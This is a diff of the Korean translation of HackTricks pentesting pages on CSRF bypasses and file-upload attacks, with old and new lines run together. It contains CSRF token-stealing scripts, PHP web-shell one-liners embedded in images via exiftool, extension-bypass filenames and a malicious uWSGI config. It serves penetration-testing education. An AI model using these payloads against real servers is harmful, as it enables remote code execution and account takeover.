3. **SWF 플래시 파일 활용**: 덜 일반적이지만 실행 가능한 방법은 SWF 플래시 파일을 사용하여 이러한 제한을 우회하는 것입니다. 이 기술에 대한 심층적인 이해를 원하시면 [이 게시물](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)을 참조하십시오. 3. **SWF 플래시 파일 활용**: 덜 일반적이지만 가능한 방법은 SWF 플래시 파일을 사용하여 이러한 제한을 우회하는 것입니다. 이 기술에 대한 심층적인 이해를 원하시면 [이 게시물](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)을 참조하십시오.
### Referrer / Origin check bypass ### Referrer / Origin 체크 우회
**Referrer 헤더 피하기** **Referrer 헤더 피하기**
@ -175,7 +175,7 @@ POST 요청을 통해 JSON 데이터를 전송하려고 할 때, HTML 양식에
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md) [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %} {% endcontent-ref %}
Referrer가 매개변수 내에서 보낼 URL의 서버 도메인 이름을 설정하려면 다음과 같이 할 수 있습니다: Referrer가 매개변수 내에서 전송할 URL의 서버 도메인 이름을 설정하려면 다음과 같이 할 수 있습니다:
```html ```html
<html> <html>
<!-- Referrer policy needed to send the qury parameter in the referrer --> <!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -196,7 +196,7 @@ document.forms[0].submit();
``` ```
### **HEAD 메서드 우회** ### **HEAD 메서드 우회**
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 응답 본문이 없는 GET 요청으로 처리하도록 설정되어 있다**고 설명합니다. 이는 Oak에만 국한되지 않는 일반적인 우회 방법입니다. HEAD 요청을 처리하는 특정 핸들러 대신, **GET 핸들러에 전달되지만 앱은 응답 본문을 제거합니다**. [**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 GET 요청으로 처리하도록 설정되어 있으며** 응답 본문이 없는 일반적인 우회 방법이라고 설명합니다. HEAD reqs를 처리하는 특정 핸들러 대신, 단순히 **GET 핸들러에 전달되지만 앱은 응답 본문을 제거합니다**.
따라서 GET 요청이 제한되고 있다면, **GET 요청으로 처리될 HEAD 요청을 보낼 수 있습니다**. 따라서 GET 요청이 제한되고 있다면, **GET 요청으로 처리될 HEAD 요청을 보낼 수 있습니다**.
@ -361,7 +361,7 @@ function envia(){document.getElementById("formulario").submit();}
</iframe> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1> <h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
``` ```
### **CSRF 토큰 훔치기 및 POST 요청 보내기** ### **CSRF 토큰 훔치기 및 POST 요청 전송**
```javascript ```javascript
function submitFormWithTokenJS(token) { function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest(); var xhr = new XMLHttpRequest();
@ -408,7 +408,7 @@ var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE" var POST_URL="http://google.com?param=VALUE"
getTokenJS(); getTokenJS();
``` ```
### **CSRF 토큰 훔치기 및 iframe, 폼, Ajax를 사용하여 Post 요청 보내기** ### **CSRF 토큰을 훔치고 iframe, 폼 및 Ajax를 사용하여 Post 요청 보내기**
```html ```html
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data"> <form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA"> <input type="text" name="username" value="AA">
@ -476,7 +476,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button> <button type="submit">Submit</button>
</form> </form>
``` ```
### **POSTAjax를 사용하여 CSRF 토큰 훔치고 폼으로 POST 전송하기** ### **POSTAjax를 사용하여 CSRF 토큰 훔치고 폼으로 POST 전송하기**
```html ```html
<body onload="getData()"> <body onload="getData()">
@ -597,11 +597,11 @@ login(USER, line.strip())
**최신 발표**\ **최신 발표**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요. 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**지금** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하고 최고의 해커들과 협업을 시작하세요! 오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하고 최고의 해커들과 협업을 시작하세요!
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우기 및 연습하기:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우기 및 연습하기: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -609,7 +609,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 을 공유하세요. * [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,29 +1,29 @@
# 파일 업로드 # 파일 업로드
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks 지원하기</summary> <summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우** 해주세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.** * **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## 파일 업로드 일반 방법론 ## 파일 업로드 일반 방법론
기타 유용한 확장자: 다른 유용한 확장자:
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ * **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **PHPv8에서 작업하기**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ * **PHPv8에서 작업하기**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
@ -36,11 +36,11 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
### 파일 확장자 검사 우회 ### 파일 확장자 검사 우회
1. 적용되는 경우, **이전 확장자**를 **확인**합니다. 또한 일부 **대문자**를 사용하여 테스트합니다: _pHp, .pHP5, .PhAr ..._ 1. 적용되는 경우, **이전 확장자**를 **확인**합니다. 또한 **대문자**를 사용하여 테스트합니다: _pHp, .pHP5, .PhAr ..._
2. _실행 확장자 **앞에 유효한 확장자 추가하여 확인합니다** (이전 확장자도 사용):_ 2. _실행 확장자 앞에 **유효한 확장자 추가** 확인하기 (이전 확장자도 사용):_
* _file.png.php_ * _file.png.php_
* _file.png.Php5_ * _file.png.Php5_
3. **끝에 특수 문자 추가해 보세요.** Burp를 사용하여 모든 **ascii****Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전의 **확장자**를 사용하여 더 나은 페이로드를 준비할 수도 있습니다._) 3. **끝에 특수 문자 추가** 시도하기. Burp를 사용하여 모든 **ascii****Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전에 언급된 **확장자**를 사용해 볼 수도 있습니다_)
* _file.php%20_ * _file.php%20_
* _file.php%0a_ * _file.php%0a_
* _file.php%00_ * _file.php%00_
@ -50,7 +50,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* _file._ * _file._
* _file.php...._ * _file.php...._
* _file.pHp5...._ * _file.pHp5...._
4. **서버 측의 확장자 파서를 속여서 보호를 우회해 보세요.** **확장자**를 **두 번** 추가하거나 **쓰레기** 데이터 (**null** 바이트)를 확장자 사이에 추가하는 기술을 사용합니다. _이전 확장자를 사용하여 더 나은 페이로드를 준비할 수 있습니다._ 4. **서버 측의 확장자 파서를 속여** 보호를 우회하려고 시도합니다. **확장자**를 **두 번** 추가하거나 **쓰레기** 데이터 (**null** 바이트)를 확장자 사이에 추가하는 기술을 사용합니다. _더 나은 페이로드를 준비하기 위해 **이전 확장자**를 사용할 수 있습니다._
* _file.png.php_ * _file.png.php_
* _file.png.pHp5_ * _file.png.pHp5_
* _file.php#.png_ * _file.php#.png_
@ -59,19 +59,19 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* _file.php%0a.png_ * _file.php%0a.png_
* _file.php%0d%0a.png_ * _file.php%0d%0a.png_
* _file.phpJunk123png_ * _file.phpJunk123png_
5. 이전 검사에 **또 다른 확장자 레이어 추가합니다**: 5. 이전 검사에 **또 다른 확장자 레이어 추가**:
* _file.png.jpg.php_ * _file.png.jpg.php_
* _file.php%00.png%00.jpg_ * _file.php%00.png%00.jpg_
6. **유효한 확장자 앞에 exec 확장자를 추가하고 서버가 잘못 구성되기를 기도하세요.** (확장자** _**.php**_**로 끝나지 않더라도** 실행할 수 있는 Apache 잘못 구성의 경우 유용합니다): 6. **유효한 확장자 앞에 exec 확장자 추가** 시도하고 서버가 잘못 구성되기를 기도합니다. (확장자** _**.php**_**로 끝나지 않더라도** 실행되는 Apache 잘못 구성의 경우 유용함):
* _예: file.php.png_ * _예: file.php.png_
7. **Windows에서 NTFS 대체 데이터 스트림(ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로, **서버에 금지된 확장자를 가진 빈 파일**이 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”) 7. **Windows**에서 **NTFS 대체 데이터 스트림 (ADS)** 사용하기. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로, 서버에 **금지된 확장자를 가진 빈 파일**이 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
8. 파일 이름 제한을 **깨보세요.** 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php 8. 파일 이름 제한을 **깨뜨리려고 시도**합니다. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php
``` ```
# 리눅스 최대 255 바이트 # 리눅스 최대 255 바이트
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가
# 파일을 업로드하고 응답을 확인하여 허용되는 문자의 수를 확인합니다. 236이라고 가정합시다. # 파일을 업로드하고 응답을 확인하여 허용되는 문자의 수를 확인합니다. 예를 들어 236
python -c 'print "A" * 232' python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 페이로드 만들기 # 페이로드 만들기
@ -82,38 +82,38 @@ AAA<--SNIP 232 A-->AAA.php.png
* **Content-Type** 검사를 우회하려면 **Content-Type** **헤더**의 **값**을 다음으로 설정합니다: _image/png_, _text/plain_, application/octet-stream_ * **Content-Type** 검사를 우회하려면 **Content-Type** **헤더**의 **값**을 다음으로 설정합니다: _image/png_, _text/plain_, application/octet-stream_
1. Content-Type **단어 목록**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) 1. Content-Type **단어 목록**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* 파일의 시작 부분에 **실제 이미지의 바이트**를 추가하여 **매직 넘버** 검사를 우회합니다 (파일 명령을 혼동시킵니다). 또는 **메타데이터** 내에 쉘을 삽입합니다:\ * 파일의 시작 부분에 **실제 이미지의 바이트**를 추가하여 **매직 넘버** 검사를 우회합니다 (파일 명령을 혼란스럽게 함). 또는 **메타데이터** 내에 쉘을 삽입합니다:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 또는 이미지를 통해 **페이로드를 직접 삽입할 수도 있습니다:**\ `\` 또는 이미지를 통해 **페이로드를 직접 삽입**할 수도 있습니다:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 일부 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다. * 이미지에 **압축이 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
* [**코드가 있는 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php) * [**코드가 있는 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* 웹 페이지가 **이미지 크기 조정**을 수행할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용할 수 있습니다. 그러나 **IDAT 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다. * 웹 페이지가 **이미지 크기 조정**을 수행할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용할 수 있습니다. 그러나 **IDAT 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
* [**코드가 있는 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php) * [**코드가 있는 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정**을 견딜 수 있는 페이로드를 만드는 또 다른 기술입니다. 그러나 **tEXt 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다. * PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정**을 견딜 수 있는 페이로드를 만드는 또 다른 기술입니다. 그러나 **tEXt 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
* [**코드가 있는 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php) * [**코드가 있는 깃허브**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### 확인할 기타 트릭 ### 확인할 다른 트릭
* 이미 업로드된 파일의 **이름을 바꿀 수 있는** 취약점을 찾습니다 (확장자를 변경하기 위해). * 이미 업로드된 파일의 **이름을 바는** 취약점을 찾습니다 (확장자를 변경하기 위해).
* 백도어를 실행하기 위한 **로컬 파일 포함** 취약점을 찾습니다. * 백도어를 실행하기 위한 **로컬 파일 포함** 취약점을 찾습니다.
* **정보 유출 가능성**: * **정보 유출 가능성**:
1. **동일한 파일**을 **여러 번** (그리고 **동시에**) **동일한 이름**으로 업로드합니다. 1. **동일한 이름**의 **동일한 파일**을 **여러 번** (그리고 **동시에**) 업로드합니다.
2. **이미 존재하는** **파일** 또는 **폴더**의 **이름**으로 파일을 업로드합니다. 2. **이미 존재하는** **파일** 또는 **폴더**의 **이름**으로 파일을 업로드합니다.
3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Apache에서 **Windows**의 경우, 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하면, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다. 3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Apache에서 **Windows**의 경우, 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하면, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
4. **NTFS**에서 쉽게 삭제할 수 없는 파일을 업로드합니다. (Windows) 예: **“…:.jpg”** 4. **NTFS**에서 쉽게 삭제할 수 없는 파일을 업로드합니다. 예를 들어 **“…:.jpg”** (Windows).
5. **Windows**에서 **잘못된 문자**가 포함된 파일을 업로드합니다. (Windows) 예: `|<>*?”` 5. **Windows**에서 이름에 **잘못된 문자** `|<>*?”`를 가진 파일을 업로드합니다. (Windows)
6. **Windows**에서 **예약된** (**금지된**) **이름**으로 파일을 업로드합니다. 예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9. 6. **Windows**에서 **예약된** (**금지된**) **이름** CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9로 파일을 업로드합니다.
* 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 합니다. * 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 시도합니다.
### 특수 확장자 트릭 ### 특수 확장자 트릭
**PHP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.htaccess** 트릭을 확인하세요](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ **PHP 서버**에 파일을 업로드하려고 하는 경우, [코드를 실행하기 위한 **.htaccess** 트릭을 확인하세요](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
**ASP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.config** 트릭을 확인하세요](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). **ASP 서버**에 파일을 업로드하려고 하는 경우, [코드를 실행하기 위한 **.config** 트릭을 확인하세요](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` 파일은 자바의 `.jar`와 유사하지만 PHP용이며, **PHP 파일처럼 사용될 수 있습니다** (PHP로 실행하거나 스크립트 내에 포함). `.phar` 파일은 자바의 `.jar`와 유사하지만 PHP용이며, **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함).
`.inc` 확장자는 때때로 **파일을 가져오는 데만 사용되는** PHP 파일에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**. `.inc` 확장자는 때때로 파일을 **가져오는 데만 사용되는** PHP 파일에 사용되므로, 누군가 **이 확장자가 실행되도록 허용했을 수 있습니다**.
## **Jetty RCE** ## **Jetty RCE**
@ -125,7 +125,7 @@ Jetty 서버에 XML 파일을 업로드할 수 있다면, [**새로운 \*.xml
이 취약점에 대한 자세한 탐색은 원본 연구를 확인하세요: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). 이 취약점에 대한 자세한 탐색은 원본 연구를 확인하세요: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
원격 명령 실행(RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다. 원격 명령 실행 (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다.
다음은 다양한 스킴을 보여주는 유해한 `uwsgi.ini` 파일의 예입니다: 다음은 다양한 스킴을 보여주는 유해한 `uwsgi.ini` 파일의 예입니다:
```ini ```ini
@ -147,12 +147,12 @@ characters = @(call://uwsgi_func)
``` ```
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes. The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
